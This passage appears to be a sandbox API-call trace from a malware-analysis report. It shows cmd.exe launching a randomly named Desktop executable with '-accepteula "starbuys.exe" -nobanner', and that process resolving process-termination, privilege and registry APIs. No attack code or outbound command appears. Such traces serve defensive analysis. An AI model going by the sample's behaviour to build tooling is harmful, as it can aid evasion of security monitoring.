_String2="TYPE") returned -18 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0118.273] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FOR") returned -4 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="IF") returned -7 [0118.274] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REM") returned -16 [0118.275] GetProcessHeap () returned 0x3f0000 [0118.275] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x210) returned 0x4024f0 [0118.275] GetProcessHeap () returned 0x3f0000 [0118.275] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x402708 [0118.275] _wcsnicmp (_String1="bv6n", _String2="cmd ", _MaxCount=0x4) returned -1 [0118.275] GetProcessHeap () returned 0x3f0000 [0118.275] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x418) returned 0x402780 [0118.275] SetErrorMode (uMode=0x0) returned 0x0 [0118.275] SetErrorMode (uMode=0x1) returned 0x0 [0118.275] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x402788, lpFilePart=0x32edf0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x32edf0*="Desktop") returned 0x25 [0118.276] SetErrorMode (uMode=0x0) returned 0x1 [0118.276] GetProcessHeap () returned 0x3f0000 [0118.276] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x402780, Size=0x6e) returned 0x402780 [0118.276] GetProcessHeap () returned 0x3f0000 [0118.276] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x402780) returned 0x6e [0118.276] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0118.276] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0118.276] GetProcessHeap () returned 0x3f0000 [0118.276] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x120) returned 0x4027f8 [0118.276] GetProcessHeap () returned 0x3f0000 [0118.276] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x238) returned 0x402920 [0118.283] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0118.283] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x32eb8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32eb8c) returned 0x402ad0 [0118.283] GetProcessHeap () returned 0x3f0000 [0118.283] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x0, Size=0x14) returned 0x402b10 [0118.283] FindClose (in: hFindFile=0x402ad0 | out: hFindFile=0x402ad0) returned 1 [0118.283] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0118.283] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0118.283] GetConsoleTitleW (in: lpConsoleTitle=0x32f064, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0118.284] InitializeProcThreadAttributeList (in: lpAttributeList=0x32eeec, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x32efb4 | out: lpAttributeList=0x32eeec, lpSize=0x32efb4) returned 1 [0118.284] UpdateProcThreadAttribute (in: lpAttributeList=0x32eeec, dwFlags=0x0, Attribute=0x60001, lpValue=0x32efac, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x32eeec, lpPreviousValue=0x0) returned 1 [0118.284] GetStartupInfoW (in: lpStartupInfo=0x32eea8 | out: lpStartupInfo=0x32eea8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x80, hStdError=0xb)) [0118.284] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0118.285] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula \"starbuys.exe\" -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x32ef48*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"starbuys.exe\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x32ef94 | out: lpCommandLine="bv6ncK8c.exe -accepteula \"starbuys.exe\" -nobanner", lpProcessInformation=0x32ef94*(hProcess=0x78, hThread=0x74, dwProcessId=0xf80, dwThreadId=0xf84)) returned 1 [0118.295] CloseHandle (hObject=0x74) returned 1 [0118.295] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0118.295] GetProcessHeap () returned 0x3f0000 [0118.296] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x402d58 | out: hHeap=0x3f0000) returned 1 [0118.296] GetEnvironmentStringsW () returned 0x402b30* [0118.296] GetProcessHeap () returned 0x3f0000 [0118.296] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb80) returned 0x407278 [0118.296] FreeEnvironmentStringsW (penv=0x402b30) returned 1 [0118.296] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0124.300] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x32ee88 | out: lpExitCode=0x32ee88*=0x0) returned 1 [0124.301] CloseHandle (hObject=0x78) returned 1 [0124.301] _vsnwprintf (in: _Buffer=0x32efd0, _BufferCount=0x13, _Format="%08X", _ArgList=0x32ee94 | out: _Buffer="00000000") returned 8 [0124.302] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0124.302] GetProcessHeap () returned 0x3f0000 [0124.302] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x407278 | out: hHeap=0x3f0000) returned 1 [0124.302] GetEnvironmentStringsW () returned 0x402b30* [0124.303] GetProcessHeap () returned 0x3f0000 [0124.303] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb80) returned 0x407278 [0124.303] FreeEnvironmentStringsW (penv=0x402b30) returned 1 [0124.303] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0124.303] GetProcessHeap () returned 0x3f0000 [0124.303] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x407278 | out: hHeap=0x3f0000) returned 1 [0124.303] GetEnvironmentStringsW () returned 0x402b30* [0124.303] GetProcessHeap () returned 0x3f0000 [0124.303] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb80) returned 0x407278 [0124.303] FreeEnvironmentStringsW (penv=0x402b30) returned 1 [0124.303] GetProcessHeap () returned 0x3f0000 [0124.303] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x4000c0 | out: hHeap=0x3f0000) returned 1 [0124.303] DeleteProcThreadAttributeList (in: lpAttributeList=0x32eeec | out: lpAttributeList=0x32eeec) [0124.303] _get_osfhandle (_FileHandle=1) returned 0x80 [0124.303] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0124.304] _get_osfhandle (_FileHandle=1) returned 0x80 [0124.304] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0124.304] _get_osfhandle (_FileHandle=0) returned 0x3 [0124.304] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0124.305] SetConsoleInputExeNameW () returned 0x1 [0124.305] GetConsoleOutputCP () returned 0x1b5 [0124.305] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0124.305] SetThreadUILanguage (LangId=0x0) returned 0x409 [0124.306] exit (_Code=0) Process: id = "217" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x1fc12000" os_pid = "0xf80" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "216" os_parent_pid = "0xf78" cmd_line = "bv6ncK8c.exe -accepteula \"starbuys.exe\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 813 os_tid = 0xf84 [0118.652] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0118.653] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0118.653] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0118.653] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0118.653] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0118.653] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0118.653] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0118.653] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0118.653] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0118.653] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0118.653] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0118.653] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0118.653] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0118.654] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0118.654] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0118.654] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0118.654] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0118.654] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0118.654] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0118.654] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0118.654] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0118.654] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0118.654] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0118.654] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0118.655] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0118.655] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0118.655] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0118.655] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0118.655] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0118.655] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0118.655] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0118.655] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0118.655] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0118.655] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0118.655] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0118.655] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0118.655] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0118.655] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0118.656] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0118.656] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0118.656] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0118.656] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0118.656] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0118.656] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0118.656] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0118.656] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0118.656] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0118.656] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0118.656] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0118.656] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0118.656] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0118.656] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0118.657] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0118.657] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0118.657] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0118.657] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0118.657] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0118.657] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0118.657] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0118.657] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0118.657] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0118.657] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0118.657] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0118.657] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0118.657] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0118.657] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0118.658] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0118.658] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0118.658] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0118.658] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0118.658] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0118.658] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0118.658] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0118.658] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0118.658] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0118.658] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0118.658] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0118.658] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0118.658] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0118.659] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0118.659] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0118.659] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0118.659] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0118.659] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0118.659] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0118.659] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0118.659] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0118.659] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0118.659] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0118.659] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0118.659] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0118.659] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0118.659] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0118.660] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0118.660] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0118.660] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0118.660] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0118.660] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0118.660] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0118.660] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0118.660] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0118.660] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0118.660] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0118.660] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0118.660] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0118.660] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0118.660] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0118.661] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0118.661] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0118.661] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0118.661] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0118.661] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0118.661] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0118.661] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0118.661] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0118.661] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0118.661] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0118.661] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0118.661] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0118.661] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0118.662] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0118.662] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0118.662] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0118.662] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0118.662] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0118.662] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0118.662] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0118.671] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0118.671] GetSystemTimeAsFileTime (in: 